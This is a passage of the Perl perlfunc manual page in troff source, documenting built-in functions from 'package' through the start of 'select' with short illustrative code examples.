All further unqualified dynamic identifiers will be in this namespace.
A package statement affects only dynamic variables\*(--including those
you've used \f(CW\*(C`local\*(C'\fR on\*(--but \fInot\fR lexical variables, which are created
with \f(CW\*(C`my\*(C'\fR. Typically it would be the first declaration in a file to
be included by the \f(CW\*(C`require\*(C'\fR or \f(CW\*(C`use\*(C'\fR operator. You can switch into a
package in more than one place; it merely influences which symbol table
is used by the compiler for the rest of that block. You can refer to
variables and filehandles in other packages by prefixing the identifier
with the package name and a double colon: \f(CW$Package::Variable\fR.
If the package name is null, the \f(CW\*(C`main\*(C'\fR package as assumed. That is,
\&\f(CW$::sail\fR is equivalent to \f(CW$main::sail\fR (as well as to \f(CW$main'sail\fR,
still seen in older code).
.Sp
If \s-1NAMESPACE\s0 is omitted, then there is no current package, and all
identifiers must be fully qualified or lexicals. However, you are
strongly advised not to make use of this feature. Its use can cause
unexpected behaviour, even crashing some versions of Perl. It is
deprecated, and will be removed from a future release.
.Sp
See \*(L"Packages\*(R" in perlmod for more information about packages, modules,
and classes. See perlsub for other scoping issues.
.IP "pipe \s-1READHANDLE\s0,WRITEHANDLE" 8
.IX Item "pipe READHANDLE,WRITEHANDLE"
Opens a pair of connected pipes like the corresponding system call.
Note that if you set up a loop of piped processes, deadlock can occur
unless you are very careful. In addition, note that Perl's pipes use
\&\s-1IO\s0 buffering, so you may need to set \f(CW$|\fR to flush your \s-1WRITEHANDLE\s0
after each command, depending on the application.
.Sp
See IPC::Open2, IPC::Open3, and \*(L"Bidirectional Communication\*(R" in perlipc
for examples of such things.
.Sp
On systems that support a close-on-exec flag on files, the flag will be set
for the newly opened file descriptors as determined by the value of $^F.
See \*(L"$^F\*(R" in perlvar.
.IP "pop \s-1ARRAY\s0" 8
.IX Item "pop ARRAY"
.PD 0
.IP "pop" 8
.IX Item "pop"
.PD
Pops and returns the last value of the array, shortening the array by
one element. Has an effect similar to
.Sp
.Vb 1
\& $ARRAY[$#ARRAY--]
.Ve
.Sp
If there are no elements in the array, returns the undefined value
(although this may happen at other times as well). If \s-1ARRAY\s0 is
omitted, pops the \f(CW@ARGV\fR array in the main program, and the \f(CW@_\fR
array in subroutines, just like \f(CW\*(C`shift\*(C'\fR.
.IP "pos \s-1SCALAR\s0" 8
.IX Item "pos SCALAR"
.PD 0
.IP "pos" 8
.IX Item "pos"
.PD
Returns the offset of where the last \f(CW\*(C`m//g\*(C'\fR search left off for the variable
in question (\f(CW$_\fR is used when the variable is not specified). May be
modified to change that offset. Such modification will also influence
the \f(CW\*(C`\eG\*(C'\fR zero-width assertion in regular expressions. See perlre and
perlop.
.IP "print \s-1FILEHANDLE\s0 \s-1LIST\s0" 8
.IX Item "print FILEHANDLE LIST"
.PD 0
.IP "print \s-1LIST\s0" 8
.IX Item "print LIST"
.IP "print" 8
.IX Item "print"
.PD
Prints a string or a list of strings. Returns true if successful.
\&\s-1FILEHANDLE\s0 may be a scalar variable name, in which case the variable
contains the name of or a reference to the filehandle, thus introducing
one level of indirection. (\s-1NOTE:\s0 If \s-1FILEHANDLE\s0 is a variable and
the next token is a term, it may be misinterpreted as an operator
unless you interpose a \f(CW\*(C`+\*(C'\fR or put parentheses around the arguments.)
If \s-1FILEHANDLE\s0 is omitted, prints by default to standard output (or
to the last selected output channel\*(--see \*(L"select\*(R"). If \s-1LIST\s0 is
also omitted, prints \f(CW$_\fR to the currently selected output channel.
To set the default output channel to something other than \s-1STDOUT\s0
use the select operation. The current value of \f(CW$,\fR (if any) is
printed between each \s-1LIST\s0 item. The current value of \f(CW\*(C`$\e\*(C'\fR (if
any) is printed after the entire \s-1LIST\s0 has been printed. Because
print takes a \s-1LIST\s0, anything in the \s-1LIST\s0 is evaluated in list
context, and any subroutine that you call will have one or more of
its expressions evaluated in list context. Also be careful not to
follow the print keyword with a left parenthesis unless you want
the corresponding right parenthesis to terminate the arguments to
the print\*(--interpose a \f(CW\*(C`+\*(C'\fR or put parentheses around all the
arguments.
.Sp
Note that if you're storing \s-1FILEHANDLES\s0 in an array or other expression,
you will have to use a block returning its value instead:
.Sp
.Vb 2
\& print { $files[$i] } "stuff\en";
\& print { $OK ? STDOUT : STDERR } "stuff\en";
.Ve
.IP "printf \s-1FILEHANDLE\s0 \s-1FORMAT\s0, \s-1LIST\s0" 8
.IX Item "printf FILEHANDLE FORMAT, LIST"
.PD 0
.IP "printf \s-1FORMAT\s0, \s-1LIST\s0" 8
.IX Item "printf FORMAT, LIST"
.PD
Equivalent to \f(CW\*(C`print FILEHANDLE sprintf(FORMAT, LIST)\*(C'\fR, except that \f(CW\*(C`$\e\*(C'\fR
(the output record separator) is not appended. The first argument
of the list will be interpreted as the \f(CW\*(C`printf\*(C'\fR format. See \f(CW\*(C`sprintf\*(C'\fR
for an explanation of the format argument. If \f(CW\*(C`use locale\*(C'\fR is in effect,
the character used for the decimal point in formatted real numbers is
affected by the \s-1LC_NUMERIC\s0 locale. See perllocale.
.Sp
Don't fall into the trap of using a \f(CW\*(C`printf\*(C'\fR when a simple
\&\f(CW\*(C`print\*(C'\fR would do. The \f(CW\*(C`print\*(C'\fR is more efficient and less
error prone.
.IP "prototype \s-1FUNCTION\s0" 8
.IX Item "prototype FUNCTION"
Returns the prototype of a function as a string (or \f(CW\*(C`undef\*(C'\fR if the
function has no prototype). \s-1FUNCTION\s0 is a reference to, or the name of,
the function whose prototype you want to retrieve.
.Sp
If \s-1FUNCTION\s0 is a string starting with \f(CW\*(C`CORE::\*(C'\fR, the rest is taken as a
name for Perl builtin. If the builtin is not \fIoverridable\fR (such as
\&\f(CW\*(C`qw//\*(C'\fR) or its arguments cannot be expressed by a prototype (such as
\&\f(CW\*(C`system\*(C'\fR) returns \f(CW\*(C`undef\*(C'\fR because the builtin does not really behave
like a Perl function. Otherwise, the string describing the equivalent
prototype is returned.
.IP "push \s-1ARRAY\s0,LIST" 8
.IX Item "push ARRAY,LIST"
Treats \s-1ARRAY\s0 as a stack, and pushes the values of \s-1LIST\s0
onto the end of \s-1ARRAY\s0. The length of \s-1ARRAY\s0 increases by the length of
\&\s-1LIST\s0. Has the same effect as
.Sp
.Vb 3
\& for $value (LIST) {
\& $ARRAY[++$#ARRAY] = $value;
\& }
.Ve
.Sp
but is more efficient. Returns the new number of elements in the array.
.IP "q/STRING/" 8
.IX Item "q/STRING/"
.PD 0
.IP "qq/STRING/" 8
.IX Item "qq/STRING/"
.IP "qr/STRING/" 8
.IX Item "qr/STRING/"
.IP "qx/STRING/" 8
.IX Item "qx/STRING/"
.IP "qw/STRING/" 8
.IX Item "qw/STRING/"
.PD
Generalized quotes. See \*(L"Regexp Quote-Like Operators\*(R" in perlop.
.IP "quotemeta \s-1EXPR\s0" 8
.IX Item "quotemeta EXPR"
.PD 0
.IP "quotemeta" 8
.IX Item "quotemeta"
.PD
Returns the value of \s-1EXPR\s0 with all non\-\*(L"word\*(R"
characters backslashed. (That is, all characters not matching
\&\f(CW\*(C`/[A\-Za\-z_0\-9]/\*(C'\fR will be preceded by a backslash in the
returned string, regardless of any locale settings.)
This is the internal function implementing
the \f(CW\*(C`\eQ\*(C'\fR escape in double-quoted strings.
.Sp
If \s-1EXPR\s0 is omitted, uses \f(CW$_\fR.
.IP "rand \s-1EXPR\s0" 8
.IX Item "rand EXPR"
.PD 0
.IP "rand" 8
.IX Item "rand"
.PD
Returns a random fractional number greater than or equal to \f(CW0\fR and less
than the value of \s-1EXPR\s0. (\s-1EXPR\s0 should be positive.) If \s-1EXPR\s0 is
omitted, the value \f(CW1\fR is used. Currently \s-1EXPR\s0 with the value \f(CW0\fR is
also special-cased as \f(CW1\fR \- this has not been documented before perl 5.8.0
and is subject to change in future versions of perl. Automatically calls
\&\f(CW\*(C`srand\*(C'\fR unless \f(CW\*(C`srand\*(C'\fR has already been called. See also \f(CW\*(C`srand\*(C'\fR.
.Sp
Apply \f(CW\*(C`int()\*(C'\fR to the value returned by \f(CW\*(C`rand()\*(C'\fR if you want random
integers instead of random fractional numbers. For example,
.Sp
.Vb 1
\& int(rand(10))
.Ve
.Sp
returns a random integer between \f(CW0\fR and \f(CW9\fR, inclusive.
.Sp
(Note: If your rand function consistently returns numbers that are too
large or too small, then your version of Perl was probably compiled
with the wrong number of \s-1RANDBITS\s0.)
.IP "read \s-1FILEHANDLE\s0,SCALAR,LENGTH,OFFSET" 8
.IX Item "read FILEHANDLE,SCALAR,LENGTH,OFFSET"
.PD 0
.IP "read \s-1FILEHANDLE\s0,SCALAR,LENGTH" 8
.IX Item "read FILEHANDLE,SCALAR,LENGTH"
.PD
Attempts to read \s-1LENGTH\s0 \fIcharacters\fR of data into variable \s-1SCALAR\s0
from the specified \s-1FILEHANDLE\s0. Returns the number of characters
actually read, \f(CW0\fR at end of file, or undef if there was an error (in
the latter case \f(CW$!\fR is also set). \s-1SCALAR\s0 will be grown or shrunk
so that the last character actually read is the last character of the
scalar after the read.
.Sp
An \s-1OFFSET\s0 may be specified to place the read data at some place in the
string other than the beginning. A negative \s-1OFFSET\s0 specifies
placement at that many characters counting backwards from the end of
the string. A positive \s-1OFFSET\s0 greater than the length of \s-1SCALAR\s0
results in the string being padded to the required size with \f(CW"\e0"\fR
bytes before the result of the read is appended.
.Sp
The call is actually implemented in terms of either Perl's or system's
\&\fIfread()\fR call. To get a true \fIread\fR\|(2) system call, see \f(CW\*(C`sysread\*(C'\fR.
.Sp
Note the \fIcharacters\fR: depending on the status of the filehandle,
either (8\-bit) bytes or characters are read. By default all
filehandles operate on bytes, but for example if the filehandle has
been opened with the \f(CW\*(C`:utf8\*(C'\fR I/O layer (see \*(L"open\*(R", and the \f(CW\*(C`open\*(C'\fR
pragma, open), the I/O will operate on \s-1UTF\-8\s0 encoded Unicode
characters, not bytes. Similarly for the \f(CW\*(C`:encoding\*(C'\fR pragma:
in that case pretty much any characters can be read.
.IP "readdir \s-1DIRHANDLE\s0" 8
.IX Item "readdir DIRHANDLE"
Returns the next directory entry for a directory opened by \f(CW\*(C`opendir\*(C'\fR.
If used in list context, returns all the rest of the entries in the
directory. If there are no more entries, returns an undefined value in
scalar context or a null list in list context.
.Sp
If you're planning to filetest the return values out of a \f(CW\*(C`readdir\*(C'\fR, you'd
better prepend the directory in question. Otherwise, because we didn't
\&\f(CW\*(C`chdir\*(C'\fR there, it would have been testing the wrong file.
.Sp
.Vb 3
\& opendir(DIR, $some_dir) || die "can't opendir $some_dir: $!";
\& @dots = grep { /^\e./ && -f "$some_dir/$_" } readdir(DIR);
\& closedir DIR;
.Ve
.IP "readline \s-1EXPR\s0" 8
.IX Item "readline EXPR"
Reads from the filehandle whose typeglob is contained in \s-1EXPR\s0. In scalar
context, each call reads and returns the next line, until end-of-file is
reached, whereupon the subsequent call returns undef. In list context,
reads until end-of-file is reached and returns a list of lines. Note that
the notion of \*(L"line\*(R" used here is however you may have defined it
with \f(CW$/\fR or \f(CW$INPUT_RECORD_SEPARATOR\fR). See \*(L"$/\*(R" in perlvar.
.Sp
When \f(CW$/\fR is set to \f(CW\*(C`undef\*(C'\fR, when \fIreadline()\fR is in scalar
context (i.e. file slurp mode), and when an empty file is read, it
returns \f(CW''\fR the first time, followed by \f(CW\*(C`undef\*(C'\fR subsequently.
.Sp
This is the internal function implementing the \f(CW\*(C`<EXPR>\*(C'\fR
operator, but you can use it directly. The \f(CW\*(C`<EXPR>\*(C'\fR
operator is discussed in more detail in \*(L"I/O Operators\*(R" in perlop.
.Sp
.Vb 2
\& $line = <STDIN>;
\& $line = readline(*STDIN); # same thing
.Ve
.Sp
If readline encounters an operating system error, \f(CW$!\fR will be set with the
corresponding error message. It can be helpful to check \f(CW$!\fR when you are
reading from filehandles you don't trust, such as a tty or a socket. The
following example uses the operator form of \f(CW\*(C`readline\*(C'\fR, and takes the necessary
steps to ensure that \f(CW\*(C`readline\*(C'\fR was successful.
.Sp
.Vb 8
\& for (;;) {
\& undef $!;
\& unless (defined( $line = <> )) {
\& die $! if $!;
\& last; # reached EOF
\& }
\& # ...
\& }
.Ve
.IP "readlink \s-1EXPR\s0" 8
.IX Item "readlink EXPR"
.PD 0
.IP "readlink" 8
.IX Item "readlink"
.PD
Returns the value of a symbolic link, if symbolic links are
implemented. If not, gives a fatal error. If there is some system
error, returns the undefined value and sets \f(CW$!\fR (errno). If \s-1EXPR\s0 is
omitted, uses \f(CW$_\fR.
.IP "readpipe \s-1EXPR\s0" 8
.IX Item "readpipe EXPR"
\&\s-1EXPR\s0 is executed as a system command.
The collected standard output of the command is returned.
In scalar context, it comes back as a single (potentially
multi\-line) string. In list context, returns a list of lines
(however you've defined lines with \f(CW$/\fR or \f(CW$INPUT_RECORD_SEPARATOR\fR).
This is the internal function implementing the \f(CW\*(C`qx/EXPR/\*(C'\fR
operator, but you can use it directly. The \f(CW\*(C`qx/EXPR/\*(C'\fR
operator is discussed in more detail in \*(L"I/O Operators\*(R" in perlop.
.IP "recv \s-1SOCKET\s0,SCALAR,LENGTH,FLAGS" 8
.IX Item "recv SOCKET,SCALAR,LENGTH,FLAGS"
Receives a message on a socket. Attempts to receive \s-1LENGTH\s0 characters
of data into variable \s-1SCALAR\s0 from the specified \s-1SOCKET\s0 filehandle.
\&\s-1SCALAR\s0 will be grown or shrunk to the length actually read. Takes the
same flags as the system call of the same name. Returns the address
of the sender if \s-1SOCKET\s0's protocol supports this; returns an empty
string otherwise. If there's an error, returns the undefined value.
This call is actually implemented in terms of \fIrecvfrom\fR\|(2) system call.
See \*(L"\s-1UDP:\s0 Message Passing\*(R" in perlipc for examples.
.Sp
Note the \fIcharacters\fR: depending on the status of the socket, either
(8\-bit) bytes or characters are received. By default all sockets
operate on bytes, but for example if the socket has been changed using
\&\fIbinmode()\fR to operate with the \f(CW\*(C`:utf8\*(C'\fR I/O layer (see the \f(CW\*(C`open\*(C'\fR
pragma, open), the I/O will operate on \s-1UTF\-8\s0 encoded Unicode
characters, not bytes. Similarly for the \f(CW\*(C`:encoding\*(C'\fR pragma:
in that case pretty much any characters can be read.
.IP "redo \s-1LABEL\s0" 8
.IX Item "redo LABEL"
.PD 0
.IP "redo" 8
.IX Item "redo"
.PD
The \f(CW\*(C`redo\*(C'\fR command restarts the loop block without evaluating the
conditional again. The \f(CW\*(C`continue\*(C'\fR block, if any, is not executed. If
the \s-1LABEL\s0 is omitted, the command refers to the innermost enclosing
loop. This command is normally used by programs that want to lie to
themselves about what was just input:
.Sp
.Vb 16
\& # a simpleminded Pascal comment stripper
\& # (warning: assumes no { or } in strings)
\& LINE: while (<STDIN>) {
\& while (s|({.*}.*){.*}|$1 |) {}
\& s|{.*}| |;
\& if (s|{.*| |) {
\& $front = $_;
\& while (<STDIN>) {
\& if (/}/) { # end of comment?
\& s|^|$front\e{|;
\& redo LINE;
\& }
\& }
\& }
\& print;
\& }
.Ve
.Sp
\&\f(CW\*(C`redo\*(C'\fR cannot be used to retry a block which returns a value such as
\&\f(CW\*(C`eval {}\*(C'\fR, \f(CW\*(C`sub {}\*(C'\fR or \f(CW\*(C`do {}\*(C'\fR, and should not be used to exit
a \fIgrep()\fR or \fImap()\fR operation.
.Sp
Note that a block by itself is semantically identical to a loop
that executes once. Thus \f(CW\*(C`redo\*(C'\fR inside such a block will effectively
turn it into a looping construct.
.Sp
See also \*(L"continue\*(R" for an illustration of how \f(CW\*(C`last\*(C'\fR, \f(CW\*(C`next\*(C'\fR, and
\&\f(CW\*(C`redo\*(C'\fR work.
.IP "ref \s-1EXPR\s0" 8
.IX Item "ref EXPR"
.PD 0
.IP "ref" 8
.IX Item "ref"
.PD
Returns a true value if \s-1EXPR\s0 is a reference, false otherwise. If \s-1EXPR\s0
is not specified, \f(CW$_\fR will be used. The value returned depends on the
type of thing the reference is a reference to.
Builtin types include:
.Sp
.Vb 7
\& SCALAR
\& ARRAY
\& HASH
\& CODE
\& REF
\& GLOB
\& LVALUE
.Ve
.Sp
If the referenced object has been blessed into a package, then that package
name is returned instead. You can think of \f(CW\*(C`ref\*(C'\fR as a \f(CW\*(C`typeof\*(C'\fR operator.
.Sp
.Vb 9
\& if (ref($r) eq "HASH") {
\& print "r is a reference to a hash.\en";
\& }
\& unless (ref($r)) {
\& print "r is not a reference at all.\en";
\& }
\& if (UNIVERSAL::isa($r, "HASH")) { # for subclassing
\& print "r is a reference to something that isa hash.\en";
\& }
.Ve
.Sp
See also perlref.
.IP "rename \s-1OLDNAME\s0,NEWNAME" 8
.IX Item "rename OLDNAME,NEWNAME"
Changes the name of a file; an existing file \s-1NEWNAME\s0 will be
clobbered. Returns true for success, false otherwise.
.Sp
Behavior of this function varies wildly depending on your system
implementation. For example, it will usually not work across file system
boundaries, even though the system \fImv\fR command sometimes compensates
for this. Other restrictions include whether it works on directories,
open files, or pre-existing files. Check perlport and either the
\&\fIrename\fR\|(2) manpage or equivalent system documentation for details.
.IP "require \s-1VERSION\s0" 8
.IX Item "require VERSION"
.PD 0
.IP "require \s-1EXPR\s0" 8
.IX Item "require EXPR"
.IP "require" 8
.IX Item "require"
.PD
Demands a version of Perl specified by \s-1VERSION\s0, or demands some semantics
specified by \s-1EXPR\s0 or by \f(CW$_\fR if \s-1EXPR\s0 is not supplied.
.Sp
\&\s-1VERSION\s0 may be either a numeric argument such as 5.006, which will be
compared to \f(CW$]\fR, or a literal of the form v5.6.1, which will be compared
to \f(CW$^V\fR (aka \f(CW$PERL_VERSION\fR). A fatal error is produced at run time if
\&\s-1VERSION\s0 is greater than the version of the current Perl interpreter.
Compare with \*(L"use\*(R", which can do a similar check at compile time.
.Sp
Specifying \s-1VERSION\s0 as a literal of the form v5.6.1 should generally be
avoided, because it leads to misleading error messages under earlier
versions of Perl which do not support this syntax. The equivalent numeric
version should be used instead.
.Sp
.Vb 3
\& require v5.6.1; # run time version check
\& require 5.6.1; # ditto
\& require 5.006_001; # ditto; preferred for backwards compatibility
.Ve
.Sp
Otherwise, demands that a library file be included if it hasn't already
been included. The file is included via the do-FILE mechanism, which is
essentially just a variety of \f(CW\*(C`eval\*(C'\fR. Has semantics similar to the following
subroutine:
.Sp
.Vb 20
\& sub require {
\& my($filename) = @_;
\& return 1 if $INC{$filename};
\& my($realfilename,$result);
\& ITER: {
\& foreach $prefix (@INC) {
\& $realfilename = "$prefix/$filename";
\& if (-f $realfilename) {
\& $INC{$filename} = $realfilename;
\& $result = do $realfilename;
\& last ITER;
\& }
\& }
\& die "Can't find $filename in \e@INC";
\& }
\& delete $INC{$filename} if $@ || !$result;
\& die $@ if $@;
\& die "$filename did not return true value" unless $result;
\& return $result;
\& }
.Ve
.Sp
Note that the file will not be included twice under the same specified
name. The file must return true as the last statement to indicate
successful execution of any initialization code, so it's customary to
end such a file with \f(CW\*(C`1;\*(C'\fR unless you're sure it'll return true
otherwise. But it's better just to put the \f(CW\*(C`1;\*(C'\fR, in case you add more
statements.
.Sp
If \s-1EXPR\s0 is a bareword, the require assumes a "\fI.pm\fR\*(L" extension and
replaces \*(R"\fI::\fR\*(L" with \*(R"\fI/\fR" in the filename for you,
to make it easy to load standard modules. This form of loading of
modules does not risk altering your namespace.
.Sp
In other words, if you try this:
.Sp
.Vb 1
\& require Foo::Bar; # a splendid bareword
.Ve
.Sp
The require function will actually look for the "\fIFoo/Bar.pm\fR" file in the
directories specified in the \f(CW@INC\fR array.
.Sp
But if you try this:
.Sp
.Vb 4
\& $class = 'Foo::Bar';
\& require $class; # $class is not a bareword
\& #or
\& require "Foo::Bar"; # not a bareword because of the ""
.Ve
.Sp
The require function will look for the "\fIFoo::Bar\fR\*(L" file in the \f(CW@INC\fR array and
will complain about not finding \*(R"\fIFoo::Bar\fR" there. In this case you can do:
.Sp
.Vb 1
\& eval "require $class";
.Ve
.Sp
Now that you understand how \f(CW\*(C`require\*(C'\fR looks for files in the case of
a bareword argument, there is a little extra functionality going on
behind the scenes. Before \f(CW\*(C`require\*(C'\fR looks for a "\fI.pm\fR\*(L" extension,
it will first look for a filename with a \*(R"\fI.pmc\fR" extension. A file
with this extension is assumed to be Perl bytecode generated by
B::Bytecode. If this file is found, and it's modification
time is newer than a coinciding "\fI.pm\fR\*(L" non-compiled file, it will be
loaded in place of that non-compiled file ending in a \*(R"\fI.pm\fR" extension.
.Sp
You can also insert hooks into the import facility, by putting directly
Perl code into the \f(CW@INC\fR array. There are three forms of hooks: subroutine
references, array references and blessed objects.
.Sp
Subroutine references are the simplest case. When the inclusion system
walks through \f(CW@INC\fR and encounters a subroutine, this subroutine gets
called with two parameters, the first being a reference to itself, and the
second the name of the file to be included (e.g. "\fIFoo/Bar.pm\fR"). The
subroutine should return \f(CW\*(C`undef\*(C'\fR or a filehandle, from which the file to
include will be read. If \f(CW\*(C`undef\*(C'\fR is returned, \f(CW\*(C`require\*(C'\fR will look at
the remaining elements of \f(CW@INC\fR.
.Sp
If the hook is an array reference, its first element must be a subroutine
reference. This subroutine is called as above, but the first parameter is
the array reference. This enables to pass indirectly some arguments to
the subroutine.
.Sp
In other words, you can write:
.Sp
.Vb 5
\& push @INC, \e&my_sub;
\& sub my_sub {
\& my ($coderef, $filename) = @_; # $coderef is \e&my_sub
\& ...
\& }
.Ve
.Sp
or:
.Sp
.Vb 7
\& push @INC, [ \e&my_sub, $x, $y, ... ];
\& sub my_sub {
\& my ($arrayref, $filename) = @_;
\& # Retrieve $x, $y, ...
\& my @parameters = @$arrayref[1..$#$arrayref];
\& ...
\& }
.Ve
.Sp
If the hook is an object, it must provide an \s-1INC\s0 method, that will be
called as above, the first parameter being the object itself. (Note that
you must fully qualify the sub's name, as it is always forced into package
\&\f(CW\*(C`main\*(C'\fR.) Here is a typical code layout:
.Sp
.Vb 7
\& # In Foo.pm
\& package Foo;
\& sub new { ... }
\& sub Foo::INC {
\& my ($self, $filename) = @_;
\& ...
\& }
.Ve
.Sp
.Vb 2
\& # In the main program
\& push @INC, new Foo(...);
.Ve
.Sp
Note that these hooks are also permitted to set the \f(CW%INC\fR entry
corresponding to the files they have loaded. See \*(L"%INC\*(R" in perlvar.
.Sp
For a yet-more-powerful import facility, see \*(L"use\*(R" and perlmod.
.IP "reset \s-1EXPR\s0" 8
.IX Item "reset EXPR"
.PD 0
.IP "reset" 8
.IX Item "reset"
.PD
Generally used in a \f(CW\*(C`continue\*(C'\fR block at the end of a loop to clear
variables and reset \f(CW\*(C`??\*(C'\fR searches so that they work again. The
expression is interpreted as a list of single characters (hyphens
allowed for ranges). All variables and arrays beginning with one of
those letters are reset to their pristine state. If the expression is
omitted, one-match searches (\f(CW\*(C`?pattern?\*(C'\fR) are reset to match again. Resets
only variables or searches in the current package. Always returns
1. Examples:
.Sp
.Vb 3
\& reset 'X'; # reset all X variables
\& reset 'a-z'; # reset lower case variables
\& reset; # just reset ?one-time? searches
.Ve
.Sp
Resetting \f(CW"A\-Z"\fR is not recommended because you'll wipe out your
\&\f(CW@ARGV\fR and \f(CW@INC\fR arrays and your \f(CW%ENV\fR hash. Resets only package
variables\*(--lexical variables are unaffected, but they clean themselves
up on scope exit anyway, so you'll probably want to use them instead.
See \*(L"my\*(R".
.IP "return \s-1EXPR\s0" 8
.IX Item "return EXPR"
.PD 0
.IP "return" 8
.IX Item "return"
.PD
Returns from a subroutine, \f(CW\*(C`eval\*(C'\fR, or \f(CW\*(C`do FILE\*(C'\fR with the value
given in \s-1EXPR\s0. Evaluation of \s-1EXPR\s0 may be in list, scalar, or void
context, depending on how the return value will be used, and the context
may vary from one execution to the next (see \f(CW\*(C`wantarray\*(C'\fR). If no \s-1EXPR\s0
is given, returns an empty list in list context, the undefined value in
scalar context, and (of course) nothing at all in a void context.
.Sp
(Note that in the absence of an explicit \f(CW\*(C`return\*(C'\fR, a subroutine, eval,
or do \s-1FILE\s0 will automatically return the value of the last expression
evaluated.)
.IP "reverse \s-1LIST\s0" 8
.IX Item "reverse LIST"
In list context, returns a list value consisting of the elements
of \s-1LIST\s0 in the opposite order. In scalar context, concatenates the
elements of \s-1LIST\s0 and returns a string value with all characters
in the opposite order.
.Sp
.Vb 1
\& print reverse <>; # line tac, last line first
.Ve
.Sp
.Vb 2
\& undef $/; # for efficiency of <>
\& print scalar reverse <>; # character tac, last line tsrif
.Ve
.Sp
This operator is also handy for inverting a hash, although there are some
caveats. If a value is duplicated in the original hash, only one of those
can be represented as a key in the inverted hash. Also, this has to
unwind one hash and build a whole new one, which may take some time
on a large hash, such as from a \s-1DBM\s0 file.
.Sp
.Vb 1
\& %by_name = reverse %by_address; # Invert the hash
.Ve
.IP "rewinddir \s-1DIRHANDLE\s0" 8
.IX Item "rewinddir DIRHANDLE"
Sets the current position to the beginning of the directory for the
\&\f(CW\*(C`readdir\*(C'\fR routine on \s-1DIRHANDLE\s0.
.IP "rindex \s-1STR\s0,SUBSTR,POSITION" 8
.IX Item "rindex STR,SUBSTR,POSITION"
.PD 0
.IP "rindex \s-1STR\s0,SUBSTR" 8
.IX Item "rindex STR,SUBSTR"
.PD
Works just like \fIindex()\fR except that it returns the position of the \s-1LAST\s0
occurrence of \s-1SUBSTR\s0 in \s-1STR\s0. If \s-1POSITION\s0 is specified, returns the
last occurrence at or before that position.
.IP "rmdir \s-1FILENAME\s0" 8
.IX Item "rmdir FILENAME"
.PD 0
.IP "rmdir" 8
.IX Item "rmdir"
.PD
Deletes the directory specified by \s-1FILENAME\s0 if that directory is
empty. If it succeeds it returns true, otherwise it returns false and
sets \f(CW$!\fR (errno). If \s-1FILENAME\s0 is omitted, uses \f(CW$_\fR.
.IP "s///" 8
.IX Item "s///"
The substitution operator. See perlop.
.IP "scalar \s-1EXPR\s0" 8
.IX Item "scalar EXPR"
Forces \s-1EXPR\s0 to be interpreted in scalar context and returns the value
of \s-1EXPR\s0.
.Sp
.Vb 1
\& @counts = ( scalar @a, scalar @b, scalar @c );
.Ve
.Sp
There is no equivalent operator to force an expression to
be interpolated in list context because in practice, this is never
needed. If you really wanted to do so, however, you could use
the construction \f(CW\*(C`@{[ (some expression) ]}\*(C'\fR, but usually a simple
\&\f(CW\*(C`(some expression)\*(C'\fR suffices.
.Sp
Because \f(CW\*(C`scalar\*(C'\fR is unary operator, if you accidentally use for \s-1EXPR\s0 a
parenthesized list, this behaves as a scalar comma expression, evaluating
all but the last element in void context and returning the final element
evaluated in scalar context. This is seldom what you want.
.Sp
The following single statement:
.Sp
.Vb 1
\& print uc(scalar(&foo,$bar)),$baz;
.Ve
.Sp
is the moral equivalent of these two:
.Sp
.Vb 2
\& &foo;
\& print(uc($bar),$baz);
.Ve
.Sp
See perlop for more details on unary operators and the comma operator.
.IP "seek \s-1FILEHANDLE\s0,POSITION,WHENCE" 8
.IX Item "seek FILEHANDLE,POSITION,WHENCE"
Sets \s-1FILEHANDLE\s0's position, just like the \f(CW\*(C`fseek\*(C'\fR call of \f(CW\*(C`stdio\*(C'\fR.
\&\s-1FILEHANDLE\s0 may be an expression whose value gives the name of the
filehandle. The values for \s-1WHENCE\s0 are \f(CW0\fR to set the new position
\&\fIin bytes\fR to \s-1POSITION\s0, \f(CW1\fR to set it to the current position plus
\&\s-1POSITION\s0, and \f(CW2\fR to set it to \s-1EOF\s0 plus \s-1POSITION\s0 (typically
negative). For \s-1WHENCE\s0 you may use the constants \f(CW\*(C`SEEK_SET\*(C'\fR,
\&\f(CW\*(C`SEEK_CUR\*(C'\fR, and \f(CW\*(C`SEEK_END\*(C'\fR (start of the file, current position, end
of the file) from the Fcntl module. Returns \f(CW1\fR upon success, \f(CW0\fR
otherwise.
.Sp
Note the \fIin bytes\fR: even if the filehandle has been set to
operate on characters (for example by using the \f(CW\*(C`:utf8\*(C'\fR open
layer), \fItell()\fR will return byte offsets, not character offsets
(because implementing that would render \fIseek()\fR and \fItell()\fR rather slow).
.Sp
If you want to position file for \f(CW\*(C`sysread\*(C'\fR or \f(CW\*(C`syswrite\*(C'\fR, don't use
\&\f(CW\*(C`seek\*(C'\fR\-\-buffering makes its effect on the file's system position
unpredictable and non\-portable. Use \f(CW\*(C`sysseek\*(C'\fR instead.
.Sp
Due to the rules and rigors of \s-1ANSI\s0 C, on some systems you have to do a
seek whenever you switch between reading and writing. Amongst other
things, this may have the effect of calling stdio's \fIclearerr\fR\|(3).
A \s-1WHENCE\s0 of \f(CW1\fR (\f(CW\*(C`SEEK_CUR\*(C'\fR) is useful for not moving the file position:
.Sp
.Vb 1
\& seek(TEST,0,1);
.Ve
.Sp
This is also useful for applications emulating \f(CW\*(C`tail \-f\*(C'\fR. Once you hit
\&\s-1EOF\s0 on your read, and then sleep for a while, you might have to stick in a
\&\fIseek()\fR to reset things. The \f(CW\*(C`seek\*(C'\fR doesn't change the current position,
but it \fIdoes\fR clear the end-of-file condition on the handle, so that the
next \f(CW\*(C`<FILE>\*(C'\fR makes Perl try again to read something. We hope.
.Sp
If that doesn't work (some \s-1IO\s0 implementations are particularly
cantankerous), then you may need something more like this:
.Sp
.Vb 8
\& for (;;) {
\& for ($curpos = tell(FILE); $_ = <FILE>;
\& $curpos = tell(FILE)) {
\& # search for some stuff and put it into files
\& }
\& sleep($for_a_while);
\& seek(FILE, $curpos, 0);
\& }
.Ve
.IP "seekdir \s-1DIRHANDLE\s0,POS" 8
.IX Item "seekdir DIRHANDLE,POS"
Sets the current position for the \f(CW\*(C`readdir\*(C'\fR routine on \s-1DIRHANDLE\s0. \s-1POS\s0
must be a value returned by \f(CW\*(C`telldir\*(C'\fR. Has the same caveats about
possible directory compaction as the corresponding system library
routine.
.IP "select \s-1FILEHANDLE\s0" 8
.IX Item "select FILEHANDLE"
.PD 0
.IP "select" 8
.IX Item "select"
.PD
Returns the currently selected filehandle. Sets the current default
filehandle for output, if \s-1FILEHANDLE\s0 is supplied. This has two
effects: first, a \f(CW\*(C`write\*(C'\fR or a \f(CW\*(C`print\*(C'\fR without a filehandle will
